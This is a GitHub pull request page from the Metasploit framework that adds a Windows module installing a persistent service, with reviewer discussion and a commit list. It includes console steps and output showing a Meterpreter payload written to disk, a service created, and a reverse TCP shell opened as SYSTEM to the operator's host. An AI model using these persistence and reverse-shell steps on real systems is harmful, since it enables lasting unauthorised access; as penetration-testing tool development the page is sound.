Add exploit module windows persistent service by Green-m · Pull Request #10822 · rapid7/metasploit-framework

Green-m · 2018-10-17T10:52:58Z

Note: ~~This PR rely on #10821, please merge that before merge this.~~ Could be merged now.

resolved #10385

Verification steps

get session on target
use post/windows/manage/persistence_service
set payload <payload>
set lport <lport>
set lhost <lhost>
set handler true
run

Usage

msf5 post(windows/manage/persistence_service) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: test-PC\test
meterpreter > sysinfo
Computer        : TEST-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > background
[*] Backgrounding session 1...
msf5 post(windows/manage/persistence_service) > options

Module options (post/windows/manage/persistence_service):

   Name     Current Setting                  Required  Description
   ----     ---------------                  --------  -----------
   HANDLER  true                             no        Start an exploit/multi/handler to receive the connection
   LHOST    192.168.56.1                     yes       IP of host that will receive the connection from the payload.
   LPORT    4433                             no        Port for Payload to connect to.
   OPTIONS                                   no        Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
   PAYLOAD  windows/meterpreter/reverse_tcp  no        The payload to use in the service.
   SESSION  1                                yes       The session to run this module on.
msf5 post(windows/manage/persistence_service) > run

[*] Running module against TEST-PC
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.56.1:4433
[+] Meterpreter service exe written to C:\Users\test\AppData\Local\Temp\IDJkb.exe
[*] Creating service pWbPkeDm
[*] Cleanup Meterpreter RC File: /Users/green/.msf4/logs/persistence/TEST-PC_20181017.3740/TEST-PC_20181017.3740.rc
[*] Post module execution completed
[*] Sending stage (179779 bytes) to 192.168.56.101
msf5 post(windows/manage/persistence_service) > [*] Meterpreter session 3 opened (192.168.56.1:4433 -> 192.168.56.101:50101) at 2018-10-17 18:37:51 +0800
msf5 post(windows/manage/persistence_service) > sessions

Active sessions
===============

  Id  Name  Type                     Information                    Connection
  --  ----  ----                     -----------                    ----------
  1         meterpreter x86/windows  test-PC\test @ TEST-PC         192.168.56.1:8888 -> 192.168.56.101:50098 (192.168.56.101)
  3         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ TEST-PC  192.168.56.1:4433 -> 192.168.56.101:50101 (192.168.56.101)

msf5 post(windows/manage/persistence_service) >

Enjoy it!

h00die

All I had time to check this evening. I <3 that cleanup script!!!

Interesting idea, (didn't review this far in code) should it just print the rc location, or should it be saved some where? Loot doesn't feel right, but a screen can close or log lost. If this was databased somewhere it would be easier to find after say a 30 day engagement

Green-m · 2018-10-18T04:23:49Z

Thanks for your review! @h00die!
The clean up file location is actually a little obscure and not readable. Put it into database is a good idea! I will try this approach.
Doc error has been fixed.

wchen-r7 · 2018-10-19T19:41:26Z

Would this be easier if the module was a windows/local exploit? You wouldn't have to worry about handler.

Green-m · 2018-10-22T03:04:16Z

@wchen-r7
Yes, that sounds good!
And a little question about what is the difference between modules in exploit/windows/local/* and post/windows/?

I see a lot of persistence modules, some locate exploit/xx/local and others locate post.

msf5 exploit(windows/local/wmi_persistence) > search persistence

Matching Modules
================

   Name                                               Disclosure Date  Rank       Check  Description
   ----                                               ---------------  ----       -----  -----------
   auxiliary/server/regsvr32_command_delivery_server                   normal     No     Regsvr32.exe (.sct) Command Delivery Server
   exploit/linux/local/autostart_persistence          2006-02-13       excellent  No     Autostart Desktop Item Persistence
   exploit/linux/local/cron_persistence               1979-07-01       excellent  No     Cron Persistence
   exploit/linux/local/rc_local_persistence           1980-10-01       excellent  No     rc.local Persistence
   exploit/linux/local/service_persistence            1983-01-01       excellent  No     Service Persistence
   exploit/osx/local/persistence                      2012-04-01       excellent  No     Mac OS X Persistent Payload Installer
   exploit/osx/local/sudo_password_bypass             2013-02-28       normal     Yes    Mac OS X Sudo Password Bypass
   exploit/unix/local/at_persistence                  1997-01-01       excellent  Yes    at(1) Persistence
   exploit/windows/local/persistence                  2011-10-19       excellent  No     Windows Persistent Registry Startup Payload Installer
   exploit/windows/local/ps_wmi_exec                  2012-08-19       excellent  No     Authenticated WMI Exec via Powershell
   exploit/windows/local/registry_persistence         2015-07-01       excellent  Yes    Windows Registry Only Persistence
   exploit/windows/local/s4u_persistence              2013-01-02       excellent  No     Windows Manage User Level Persistent Payload Installer
   exploit/windows/local/vss_persistence              2011-10-21       excellent  No     Persistent Payload in Windows Volume Shadow Copy
   exploit/windows/local/wmi_persistence              2017-06-06       normal     No     WMI Event Subscription Persistence
   exploit/windows/smb/psexec_psh                     1999-01-01       manual     No     Microsoft Windows Authenticated Powershell Command Execution
   post/linux/manage/sshkey_persistence                                excellent  No     SSH Key Persistence
   post/windows/gather/enum_ad_managedby_groups                        normal     No     Windows Gather Active Directory Managed Groups
   post/windows/manage/persistence_exe                                 normal     No     Windows Manage Persistent EXE Payload Installer

I am a little confused, for I thought the all post-exploitation modules should be put in post, is there something changed or I am wrong?

I just joined the Metasploit team for not long, forgive my ignorance.

timwr · 2018-10-22T04:38:03Z

I agree this should be an exploit module. In general if your module has a payload it should be an exploit module. If it uses a session but no payload it should be a post module. Neither is auxiliary.
Unfortunately I think the session upgrade (https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/manage/shell_to_meterpreter.rb) module is the edge case here but it should be refactored into an exploit.

timwr · 2018-10-22T07:49:32Z

@github is broken

Green-m · 2018-10-22T10:14:38Z

Thank @timwr for explaining.
I have moved it to exploit/windows/local. @wchen-r7

sempervictus

I think this is the most complete metasm SVC template I've seen. Awesome, thank you. Will test this weekend.

Placed contents of request_post into execute_command Randomized fingerprint with rand_text_alpha(12) Spaces at EOL fixed Normalized target URI

Co-Authored-By: carmaa <carsten@carmaa.com>

jrobles-r7 · 2018-12-12T14:49:18Z

I'm getting an error when I run the module.

msf5 exploit(windows/local/persistence_service) > exploit 

[*] Running module against DESKTOP-IPOGIJR
[-] Exploit failed: Metasm::ParseError No such file or directory "sys/cdefs.h" near "include" at "</usr/include/features.h>" line 364,
	included from "</usr/include/string.h>" line 27,
	included from "\"<unk>\"" line 3

Are additional header files needed for this module?

jrobles-r7 · 2018-12-12T17:04:56Z

After merging in master locally, I'm getting the following error

msf5 exploit(windows/local/persistence_service) > exploit

[*] Started reverse TCP handler on 172.22.222.136:5555 
[*] Running module against DESKTOP-IPOGIJR
[-] Exploit failed: Metasm::ParseError undefined variable near "_snprintf" at "\"<unk>\"" line 983
[*] Exploit completed, but no session was created.

wchen-r7 · 2018-12-12T20:16:14Z

@jrobles-r7 So when I was merging #10821, I might have skipped snprintf for a reason. You might want to try a different function to achieve what snprintf needs... maybe. Let me know if you have trouble. Sorry about that.

Green-m · 2018-12-13T03:23:53Z

06e1d16

I found this commit, remove it on account of the crash. I am not very sure which way to achieve it for do not know how it crashed.

Work around snprintf

jrobles-r7 · 2018-12-14T15:56:04Z

@Green-m I opened a new PR for these changes since merging in master caused the page to shows lots of commits and files changed.

Green-m added module feature msf5 labels Oct 17, 2018

Green-m mentioned this pull request Oct 17, 2018

Windows compiler error #10760

Closed

4 tasks

h00die reviewed Oct 17, 2018

View reviewed changes

Green-m changed the title ~~Add post module windows persistent service~~ Add exploit module windows persistent service Oct 23, 2018

sempervictus reviewed Nov 3, 2018

View reviewed changes

carmaa and others added 17 commits November 11, 2018 22:47

serialized, not deserialized...

8894af5

Tidy check method

e06af18

Implemented changes recommended by @bcoles.

818cb37

Some more modifications

3e4df06

Placed contents of request_post into execute_command Randomized fingerprint with rand_text_alpha(12) Spaces at EOL fixed Normalized target URI

Fixing indentation.

16d146f

Add exploit module for spark unauthenticated rce.

388aebc

Add doc for exploit module spark_unauth_rce.

3be917d

Remove useless variable declaration

0bdab32

Co-Authored-By: carmaa <carsten@carmaa.com>

Tidied up set_payload

541283a

WP GDPR Compliance plugin exploit - privsec to admin registering

9d15544

Space at EOL removed from description

11a2fa7

improvements to code commente and floe

d2a78ce

Added module documentation

bc32a16

Clean code.

7cc4d09

Clean code.

f43aaac

Added WordPress Duplicator <= 1.2.40 and documentation

5f9570c

Added the CVE number in the references

b9348bd

msjenkins-r7 and others added 15 commits December 10, 2018 09:42

automatic module_metadata_base.json update

3968b1e

Fix syntax, minor edits

165f082

Add documentation

106d6ce

Land rapid7#11040, Add CyberLink LabelPrint Local BOF

1ab69c2

automatic module_metadata_base.json update

f946b6d

Remove copy/pasta'd funtion that was never called

ac88c60

refactor unless ! to if

0c9d5b7

Kill unless not

b109321

Added the clean_up function

7e953e3

renamed module and doc

b82e346

Land rapid7#10960, add wp duplicator code inject module

ae089ce

automatic module_metadata_base.json update

afa5b5d

Land rapid7#11107, double negative logic cleanup

aa0c206

automatic module_metadata_base.json update

f4453be

Documentation Update

3fbfaf2

Merge in upstream/master

ea724de

jrobles-r7 and others added 7 commits December 13, 2018 13:46

Minor syntax change

92feeea

Work around snprintf

58aa16d

Merge pull request #4 from jrobles-r7/service-patch

48ad8e8

Work around snprintf

Remove unused parameter

5fd7b82

Use exploit default exception handling

dfa84aa

Use argument

a057b72

Remove code that was replaced

556d182

jrobles-r7 closed this Dec 14, 2018

jrobles-r7 mentioned this pull request Dec 14, 2018

Add exploit module windows persistent service #11123

Merged

Conversation

Green-m commented Oct 17, 2018 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Verification steps

Usage

Uh oh!

h00die left a comment

Choose a reason for hiding this comment

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Uh oh!

Green-m commented Oct 18, 2018

Uh oh!

wchen-r7 commented Oct 19, 2018

Uh oh!

Green-m commented Oct 22, 2018

Uh oh!

timwr commented Oct 22, 2018

Uh oh!

timwr commented Oct 22, 2018

Uh oh!

Green-m commented Oct 22, 2018

Uh oh!

sempervictus left a comment

Choose a reason for hiding this comment

Uh oh!

jrobles-r7 commented Dec 12, 2018

Uh oh!

jrobles-r7 commented Dec 12, 2018

Uh oh!

wchen-r7 commented Dec 12, 2018

Uh oh!

Green-m commented Dec 13, 2018

Uh oh!

jrobles-r7 commented Dec 14, 2018

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

20 participants

Green-m commented Oct 17, 2018 •

edited

Loading